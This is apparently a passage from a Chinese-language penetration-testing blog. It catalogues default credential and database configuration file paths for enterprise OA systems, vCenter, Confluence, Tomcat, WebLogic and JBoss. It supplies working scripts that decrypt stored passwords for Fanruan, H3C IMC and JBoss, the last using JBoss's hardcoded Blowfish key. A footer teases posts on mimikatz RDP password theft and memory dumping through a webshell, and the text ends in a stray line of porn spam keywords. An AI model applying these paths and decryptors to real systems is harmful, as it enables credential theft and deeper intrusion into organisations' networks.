    /jboss-as/server/oa/deploy/*-ds.xml //星號為具體數據庫比如mssql、oracle
    

    通達OA

    數據庫配置文件默認位置:

    C:\MYOA\mysql5\my.ini
    C:\MYOA\webroot\inc\oa_config.php
    C:\MYOA\bin\Service.ini
    

    用友NC

    數據庫配置文件默認位置:

    /nchome/ierp/bin/prop.xml
    

    用友數據庫解密,工具下載地址:https://github.com/jas502n/ncDecode

    金和OA

    數據庫默認配置文件:

    D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties
    

    心通達

    數據庫默認配置文件:

    /webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie
    

    image.png

    帆軟

    數據庫默認配置文件:

    \WEB-INF\resources\privilege.xml
    

    解密代碼:

    cipher = input("輸入密文:")  # 密文
    PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] 
    password = ""
    cipher = cipher[3:]  
    for i in range(int(len(cipher) / 4)):
        c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
        c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
        password = password + chr(c2)
    print("明文密碼:"+password)
    

    image.png

    Confluence

    數據庫默認配置文件:

    /var/atlassian/confluenc/confluence.cfg.xml
    

    vCenter

    數據庫默認配置文件:

    Windows默認路徑:
    C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
    Linux路徑:
    /etc/vmware-vpx/vcdb.properties
    /etc/vmware/service-state/vpxd/vcdb.properties
    

    金蝶

    金蝶EAS

    數據庫默認配置文件:

    ...\runtime\apusic\domains\server1\config\datasources.xml
    D:/Kingdee/eas/server/properties/datacenters.xml
    

    華三IMC

    數據庫默認配置文件:

    common\conf\server-addr.xml
    

    核心算法:通過將去掉-符號的值加上數組的下標值乘上16取余256,接著把獲取到的值b與255進行比較,大于255的進行b-256的操作后賦值給b,緊接著進行ASCII轉換。最后判斷結尾是否為” ~~”,是的話就去掉,最后去掉最后兩位。解密代碼:

    str = "-115-97-76-67-49-28-30-14"
    if str.startswith('-'):
        strs = []
        bytess = []
        strs = str[1:24].split('-')
        i = 0
        for i in range(len(strs)-2):
            try:
                strsint = int(strs[i])
                b = strsint + i * 16 % 256
                if b > 255:
                    b = b - 256
                str1 = chr(b)
                if not str1.endswith("~~"):
                    bytess.append(chr(b))
            except:
                pass
            i = i + 1
        print("密碼:"+''.join(bytess))
    else:
        print("密文格式不對!")
        print("格式應為:-112-81-83-67-55-20-30-1")
    

    image.png

    聯軟 IT 安全運維

    數據庫默認配置文件:

    /home/leagsoft/LeagView/Ini/odbc.ini
    /home/leagsoft/LeagView/Ini/Server.ini
    /etc/postgresql/9.1/auditdb/postgresql.conf
    

    中間件

    Tomcat

    數據庫

    數據庫配置文件:

    WEB-INF/classes/application.properties
    

    實戰中遇見的tomcat常見數據庫配置文件名:

    db.properties
    jdbc.properties
    dbpool.properties
    config.properties
    sso-config.properties
    minaconfig.properties
    missCallAlertExclude.properties
    url_img.properties
    webapp.properties
    Proxool.properties
    application.properties
    

    控制臺

    tomcat控制臺賬號密碼:

    /conf/tomcat-users.xml
    

    ActiveMQ

    配置了認證的情況:

    登錄密碼存放路徑:

    /apache-activemq/conf/jetty-realm.properties
    

    Weblogic

    WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每個Weblogic app的加密key都是隨機生成的,所以不同服務器甚至同服務器不同應用上的weblogic都是用不同的密碼加密的。

    Weblogic控制臺密碼解密

    查找boot.properties文件:

    weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
    

    查找SerializedSystemIni.dat文件,其中包含了解密key:

    weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat
    

    解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi

    Nodemanager密碼解密

    查找config.xml文件

    /weblogic/user_projects/domains/base_domain/config/config.xml
    

    數據庫密碼解密

    查找jdbc相關文件

    /weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml
    

    成功解密

    JBOSS

    JBoss使用blowfish加密算法,解密key為硬編碼的jaas is the way。數據庫配置默認目錄:

    %JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml
    %JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml
    

    在沒有加密的情況下,密碼是明文:

    OracleDS //jndi名字 
    false
    jdbc:oracle:thin:@localhost:1521:orcl //URL地址
    oracle.jdbc.driver.OracleDriver //驅動
    root //用戶名
    123456 //密碼
    

    在配置完密碼加密后,加密后的密碼存在jboss目錄的conf/login-config.xml文件里:

     
    admin
    5dfc52b51bd35553df8592078de921bc
    jboss.jca:name=PostgresDS,service=LocalTxCM 
    

    5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的時候前面還有個符號,也是密文的一部分。

    JBoss加密和解密代碼:

    import java.math.BigInteger;
    /*
    * JBoss.java - Blowfish encryption/decryption tool with JBoss default password
    *    Daniel Martin Gomez  - 03/Sep/2009
    *
    * This file may be used under the terms of the GNU General Public License
    * version 2.0 as published by the Free Software Foundation:
    *   http://www.gnu.org/licenses/gpl-2.0.html
    */
    import javax.crypto.*;
    import javax.crypto.spec.SecretKeySpec;
    public class Main {
        public static void main(String[] args) throws Exception {
            if ((args.length != 2) ||
                    !(args[0].equals("-e") | args[0].equals("-d"))) {
                System.out.println(
                    "Usage:\tjava JBoss <-e|-d> ");
                return;
            }
            String mode = args[0];
            byte[] kbytes = "jaas is the way".getBytes();
            SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
            Cipher cipher = Cipher.getInstance("Blowfish");
            String out = null;
            if (mode.equals("-e")) {
                String secret = args[1];
                cipher.init(Cipher.ENCRYPT_MODE, key);
                byte[] encoding = cipher.doFinal(secret.getBytes());
                out = new BigInteger(encoding).toString(16);
            } else {
                BigInteger secret = new BigInteger(args[1], 16);
                cipher.init(Cipher.DECRYPT_MODE, key);
                byte[] encoding = cipher.doFinal(secret.toByteArray());
                out = new String(encoding);
            }
            System.out.println(out);
        }
    }
    

    在線解密:https://www.json.cn/runcode/run_java/

    image.png

    文件目錄數據庫文件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    目前支持的功能有:爬蟲、目錄爆破、端口探測、C段探測、子域名探測、fastjson檢測、xss探測、指紋識別、漏洞掃描、漏洞告警。
    注意在整個過程中,客戶不要事先征集到現場或現場的人員操作情況。啟動或部署監測設備,針對病毒感染進行全面監測,避免死灰復燃。在此過程中并沒有展開分析,隨后制作收集所有相關的樣本日志等,并尋找感染源頭,并制定整改。先找出急用的木馬文件,不要于打包一份。
    應急響應的基本流程
    2022-01-01 08:34:07
    注意在整個過程中不要被客戶或現場的運維人員誤導。操作前需先征得客戶許可。
    配置好后可一建生成nginx.conf文件,同時可控制nginx使用此文件進行啟動與重載,完成對nginx的圖形化控制閉環。本系統通過Let's encrypt申請證書,使用acme.sh腳本進行自動化申請和續簽,開啟續簽的證書將在每天凌晨2點進行續簽, 只有超過60天的證書才會進行續簽,只支持在linux下簽發證書。
    目錄掃描可以讓我們發現這個網站存在多少個目錄,多少個頁面,探索出網站的整體結構。通過目錄掃描我們還能掃描敏感文件,后臺文件數據庫文件,和信息泄漏文件等等 目錄掃描有兩種方式: ?使用目錄字典進行暴力才接存在該目錄或文件返回200或者403;?使用爬蟲爬行主頁上的所有鏈接,對每個鏈接進行再次爬行,收集這個域名下的所有鏈接,然后總結出需要的信息。
    RDP憑證本機RDP密碼抓取本機RDP密碼是一個我們常遇到的場景,通常使用mimikatz抓取RDP密碼。當系統為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,這時抓取的明文密碼為空。上不了線的情況下,也可以在webshell中來dump內存,保存到本地解密即可。
    Web安全常見漏洞修復建議
    Windows提權總結(1)——數據庫與系統漏洞在內網滲透中,由于系統對服務的權限設置,攻擊者不一定能通過外
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类